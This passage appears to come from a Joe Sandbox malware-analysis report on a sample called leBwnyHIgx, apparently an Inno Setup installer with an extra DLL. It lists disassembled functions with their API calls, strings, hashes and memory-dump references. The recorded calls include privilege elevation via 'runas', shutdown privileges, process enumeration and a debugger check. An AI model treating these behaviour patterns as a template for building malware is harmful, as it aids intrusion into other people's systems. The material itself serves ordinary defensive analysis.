Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$Long$Show
String ID: Cannot find utCompiledCode record for this version of the uninstaller$DeinitializeUninstall$Event$InitializeUninstall$InitializeUninstall returned False; aborting.$Install was done in 64-bit mode but not running 64-bit Windows now$Need to restart Windows? %s$Not calling UninstallNeedRestart because a restart has already been deemed necessary.$Original Uninstall EXE: $Removed all? %s$Setup version: Inno Setup version 6.0.5 (u)$Uninstall$Uninstall DAT: $Uninstall command line: $UninstallNeedRestart$Will not restart Windows automatically.$Will restart because UninstallNeedRestart returned True.
API String ID: 3609083571-1139549536
Opcode ID: 22bf36efd2d9069785d056405695bf985450d9e08495da1d136dca054f8b90b8
Instruction ID: b395923e521076bf2bceb30747a8197c7c47a38b115d8df3202869f321eb7a22
Opcode Fuzzy Hash: 22bf36efd2d9069785d056405695bf985450d9e08495da1d136dca054f8b90b8
Instruction Fuzzy Hash: 4B32AE346046458FD754EF68E891B997BF3FB4A304F105079F900AB3A2CBB4AC85CB55

Function 005B1248 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 181memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B128A
GetVersion.KERNEL32(00000000,005B1433,?,00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B12A7
GetModuleHandleW.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,005B1433,?,00000005,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B12C1
FreeSid.ADVAPI32(00000000,005B143A,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005B142D

Strings

CheckTokenMembership, xrefs: 005B12B7
advapi32.dll, xrefs: 005B12BC

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AllocateFreeHandleInitializeModuleVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4173726493-1888249752
Opcode ID: 952df93399f65c742f00ad26f12ea1d2db98546042352c41d8bfdd11bcdf1fbe
Instruction ID: ac35d0f59487471c61e1a1342d4049f29feb693cc75a8e69d60280a94490ce98
Opcode Fuzzy Hash: 952df93399f65c742f00ad26f12ea1d2db98546042352c41d8bfdd11bcdf1fbe
Instruction Fuzzy Hash: 7C519671A44705AADF51DBE58C62BFF7BE8FF05344F90082AFA00E7191E638E9408769

Function 0063DDA4 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 93COMMON

Download Yara Rule

APIs

Part of subcall function 0063DBC0: GetModuleHandleW.KERNEL32(kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DBEC
Part of subcall function 0063DBC0: GetFileAttributesW.KERNEL32(00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DC05
Part of subcall function 0063DBC0: CreateFileW.KERNEL32(00000000,00000000,00000007,00000000,00000003,00000000,00000000,00000000,00000000,kernel32.dll,GetFinalPathNameByHandleW), ref: 0063DC2F
Part of subcall function 0063DBC0: CloseHandle.KERNEL32(00000000), ref: 0063DC4D

Part of subcall function 0063DCD0: GetCurrentDirectoryW.KERNEL32(00000104,?,00000000,0063DD61,?,00000097,?,?,0063DDDB,00000000,0063DEF3,?,?,00000001), ref: 0063DCFF

ShellExecuteExW.SHELL32(0000003C), ref: 0063DE2B
GetLastError.KERNEL32(00000000,0063DEF3,?,?,00000001), ref: 0063DE34
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000004FF), ref: 0063DE81
GetExitCodeProcess.KERNEL32(00000000,?), ref: 0063DEA7
CloseHandle.KERNEL32(00000000,0063DED8,00000000,00000000,000000FF,000004FF,00000000,0063DED1,?,00000000,0063DEF3,?,?,00000001), ref: 0063DECB

Strings

ShellExecuteEx returned hProcess=0, xrefs: 0063DE55
ShellExecuteEx, xrefs: 0063DE45
runas, xrefs: 0063DDF8
GetExitCodeProcess, xrefs: 0063DEB0
MsgWaitForMultipleObjects, xrefs: 0063DE90
<, xrefs: 0063DDEA

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Handle$CloseFile$AttributesCodeCreateCurrentDirectoryErrorExecuteExitLastModuleMultipleObjectsProcessShellWait
String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 254331816-221126205
Opcode ID: 34014370f5579deeee9a70eab962f15452e20141bfd9a2655e6417c1dd94800e
Instruction ID: 19f62c8c6b26142c15b7ccd5ce8ac2d9ded865074aa3ecb0be12b35c3f976091
Opcode Fuzzy Hash: 34014370f5579deeee9a70eab962f15452e20141bfd9a2655e6417c1dd94800e
Instruction Fuzzy Hash: 69317671E002099FDB10EFA9E8826EDBAB9FF44704F50057DF514E7391DB7499408B95

Function 0063E56C Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 159windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0063E5C1
GetWindowLongW.USER32(?,000000F0), ref: 0063E5DE
GetWindowLongW.USER32(?,000000EC), ref: 0063E603

Part of subcall function 005963F8: IsWindow.USER32(?), ref: 00596406
Part of subcall function 005963F8: EnableWindow.USER32(?,000000FF), ref: 00596415

GetActiveWindow.USER32 ref: 0063E6CF
SetActiveWindow.USER32(0065C5D1,0063E737,0063E74D,?,?,000000EC,?,000000F0,00000000,?,00000000), ref: 0063E720

Strings

qc, xrefs: 0063E621
`, xrefs: 0063E597
Dc, xrefs: 0063E659
D.S, xrefs: 0063E66B

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$ActiveLong$EnableIconic
String ID: D.S$Dc$`$qc
API String ID: 4222481217-1700508051
Opcode ID: 105bf1b043794c7febb61f28ddb640e4e5e1409b569c658a6f2acf29d1ee32be
Instruction ID: a68385297073a1787c46507cafb47a44eecf45f015a0fdb6403bc58eaa920278
Opcode Fuzzy Hash: 105bf1b043794c7febb61f28ddb640e4e5e1409b569c658a6f2acf29d1ee32be
Instruction Fuzzy Hash: 64518C74A00249AFDB00DFA9C885ADEBBF6FB09314F154169F804EB391D776A941CFA0

Function 0040C2A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 140stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,0041AD90,?,?), ref: 0040C2BD
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040C2CE
FindFirstFileW.KERNEL32(?,?,kernel32.dll,0041AD90,?,?), ref: 0040C3CE
FindClose.KERNEL32(?,?,?,kernel32.dll,0041AD90,?,?), ref: 0040C3E0
lstrlenW.KERNEL32(?,?,?,?,kernel32.dll,0041AD90,?,?), ref: 0040C3EC
lstrlenW.KERNEL32(?,?,?,?,?,kernel32.dll,0041AD90,?,?), ref: 0040C431

Strings

GetLongPathNameW, xrefs: 0040C2C8
kernel32.dll, xrefs: 0040C2B8
\, xrefs: 0040C3FE

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 1930782624-3908791685
Opcode ID: c34afadf3db2e7f96e5d8f57f2f71db68a35707ef3791a46efc30f5c96551beb
Instruction ID: 129811935084e97536274d2d3cc39016278ad45ca87abc2192b8d5c1b695ba56
Opcode Fuzzy Hash: c34afadf3db2e7f96e5d8f57f2f71db68a35707ef3791a46efc30f5c96551beb
Instruction Fuzzy Hash: 8841A471E00518DBCB10EBA4C8C5ADE73B5AF44310F5586BAD504F73C1E778AE458A8D

Function 00CD18A7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87windownativethreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00CD18E4
CreateWindowExW.USER32(00000000,10018410,00000000,50800001,00000014,0000001E,00000159,00000014,00000001,00000065,00000000), ref: 00CD190A
SendMessageW.USER32(1001C6F0,00000409,00000000,00D77800), ref: 00CD193E
CreateThread.KERNEL32(00000000,00000000,100019F0,?,00000000,00000000), ref: 00CD1990
PostQuitMessage.USER32(00000000), ref: 00CD199B
NtdllDefWindowProc_W.NTDLL(00000002,?,?,?), ref: 00CD19B4

Strings

, xrefs: 00CD18CF

Memory Dump Source

Source File: 00000000.00000002.2077740458.0000000000CD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_leBwnyHIgx.jbxd

Similarity

API ID: CreateMessageWindow$HandleModuleNtdllPostProc_QuitSendThread
String ID:
API String ID: 4292518056-3916222277
Opcode ID: f152b21074a591eaa1c3221d8e4c428642237a9e31c9f3bb9f83192013b01db4
Instruction ID: 59ac2d4fe5a4cc459e1b54a56f04bed69ab36ee7b51a9f1357a70336514bb746
Opcode Fuzzy Hash: f152b21074a591eaa1c3221d8e4c428642237a9e31c9f3bb9f83192013b01db4
Instruction Fuzzy Hash: 05311675A40218FFE700DF94CC99FAA77B9EB48701F248119FA05AB291C770DB01CB65

Function 005FA9A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 42shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 005FA9B8
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 005FA9BE
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 005FA9D7
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 005FA9FE
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 005FAA03
ExitWindowsEx.USER32(00000002,00000000), ref: 005FAA14

Strings

SeShutdownPrivilege, xrefs: 005FA9D0

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 85845749144dc9ce82d9e1a4bab315e58eda8b3d9d64f424d5201a4268532a52
Instruction ID: 775351c24a523f7ca86ab9856cb2a99195e947980098857579868bc878f92e5d
Opcode Fuzzy Hash: 85845749144dc9ce82d9e1a4bab315e58eda8b3d9d64f424d5201a4268532a52
Instruction Fuzzy Hash: D9F062B068430675E610E6718E07FBE2588AB40B48F900C1AF789E50D2E7ADD4588677

Function 00650754 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00650891,?,0066978C,?,?,00650A46,00000000,00650A9A,?,00000000,00000000,00000000), ref: 006507A5
SetFileAttributesW.KERNEL32(00000000,00000010), ref: 00650828
FindNextFileW.KERNEL32(000000FF,?,00000000,00650864,?,00000000,?,00000000,00650891,?,0066978C,?,?,00650A46,00000000,00650A9A), ref: 00650840
FindClose.KERNEL32(000000FF,0065086B,00650864,?,00000000,?,00000000,00650891,?,0066978C,?,?,00650A46,00000000,00650A9A), ref: 0065085E

Strings

isRS-, xrefs: 006507C5
isRS-???.tmp, xrefs: 0065078D

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: be8c0e228b3abfe7e50919e35dd7b0217464954728c07ec5518a4ebc0377dcf2
Instruction ID: 7e40c14d5cf5c67ddc04c5ae91bd146497d11b7686551e4e99c720dcad4bb53e
Opcode Fuzzy Hash: be8c0e228b3abfe7e50919e35dd7b0217464954728c07ec5518a4ebc0377dcf2
Instruction Fuzzy Hash: 4F319471A0061C9FEF10EB65CC45ADEB7F9EB88305F5145FAE804B3291EA389E84CE54

Function 10001FA0 Relevance: 10.6, APIs: 7, Instructions: 73processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001FAD
memset.VCRUNTIME140(?,00000000,00000228), ref: 10001FDB
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 10001FEE
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000), ref: 10002015
CloseHandle.KERNEL32(000000FF,?,?), ref: 10002055

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ByteCharCloseCreateFirstHandleMultiProcess32SnapshotToolhelp32Widememset
String ID:
API String ID: 3952204985-0
Opcode ID: d700407f97133983200a604a132ece7da35f72d1459ff1b8adab73a8017f2e83
Instruction ID: d3f3af0a4508f7e27652e937122bdb82b1fceeeb5c55f2899ae714965ea1cc71
Opcode Fuzzy Hash: d700407f97133983200a604a132ece7da35f72d1459ff1b8adab73a8017f2e83
Instruction Fuzzy Hash: C3217175900218BBEB50DBE4CC89FEEB7B8EB49741F108198F614A61D5D770AB48CB60

Function 005B261C Relevance: 9.1, APIs: 6, Instructions: 98windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 005B2661
GetWindowLongW.USER32(?,000000F0), ref: 005B267E
GetWindowLongW.USER32(?,000000EC), ref: 005B26A3
GetActiveWindow.USER32 ref: 005B26B1
MessageBoxW.USER32(00000000,00000000,?,-0000002D), ref: 005B26DE
SetActiveWindow.USER32(?,005B270C,?,000000EC,?,000000F0,?,00000000,005B2742,?,?,00000000), ref: 005B26FF

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Window$ActiveLong$IconicMessage
String ID:
API String ID: 1633107849-0
Opcode ID: 358b33491ddebdf2595299d0a193073ac980c33294565c75b2cc6163bf35f257
Instruction ID: 0959946ea7ea2d423f2b07d1ac2efebd9c7287cb6bf5dae26c143587a2194954
Opcode Fuzzy Hash: 358b33491ddebdf2595299d0a193073ac980c33294565c75b2cc6163bf35f257
Instruction Fuzzy Hash: 89318B34A04605AFDB00EFA9DD86EDE7BE9FB49350F5045A5F410E73A1DA78AD00DB24

Function 10016A5E Relevance: 9.1, APIs: 6, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000001), ref: 10016A6A
memset.VCRUNTIME140(?,00000000,00000003), ref: 10016A90
memset.VCRUNTIME140(?,00000000,00000050), ref: 10016B1A
IsDebuggerPresent.KERNEL32 ref: 10016B36
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 10016B4F
UnhandledExceptionFilter.KERNEL32(?), ref: 10016B59

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 8011eff28b9dcc925b3679dcf16cbb184ae846e5613d95cdaca105e06b2e6a1a
Instruction ID: 4823d0db6d89783cfdf2c75b6990e32170b40ac30757b8ad96a9877ce2fabe7b
Opcode Fuzzy Hash: 8011eff28b9dcc925b3679dcf16cbb184ae846e5613d95cdaca105e06b2e6a1a
Instruction Fuzzy Hash: 9031C779D052289ADB51DFA4DD89BCDBBB8BF08300F1041AAE40DAB250E7719BC48F45

Function 0046523C Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,?,?,0043FE3C,00400000,00000001,00000000,?,0046517E,00000000,00000000,?,0066978C,?,?,00644460), ref: 00465253
LoadResource.KERNEL32(00400000,004652D8,00400000,?,?,0043FE3C,00400000,00000001,00000000,?,0046517E,00000000,00000000,?,0066978C,?), ref: 0046526D
SizeofResource.KERNEL32(00400000,004652D8,00400000,004652D8,00400000,?,?,0043FE3C,00400000,00000001,00000000,?,0046517E,00000000,00000000), ref: 00465287
LockResource.KERNEL32(00464B24,00000000,00400000,004652D8,00400000,004652D8,00400000,?,?,0043FE3C,00400000,00000001,00000000,?,0046517E,00000000), ref: 00465291

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 0f0122636f5e1f829796b1b782f7f01f5b08c6add20a43d762356a9fcebc62f1
Instruction ID: cc44b1e40f387fa113896bb731206f382d166b60eb9947859bc6d233c5ebbc2f
Opcode Fuzzy Hash: 0f0122636f5e1f829796b1b782f7f01f5b08c6add20a43d762356a9fcebc62f1
Instruction Fuzzy Hash: 32F0D1B36046046F5744EE9DA881D9B77ECEE89368310015FF908C7206EA38DE118779

Function 0040BE44 Relevance: 4.6, APIs: 3, Instructions: 99COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,0040BFA9,?,0041AD90,?,00000000), ref: 0040BEEE
GetLocaleInfoW.KERNEL32(00000000,00000059,?,00000055,?,00000002,00000000,0040BFA9,?,0041AD90,?,00000000), ref: 0040BF0A
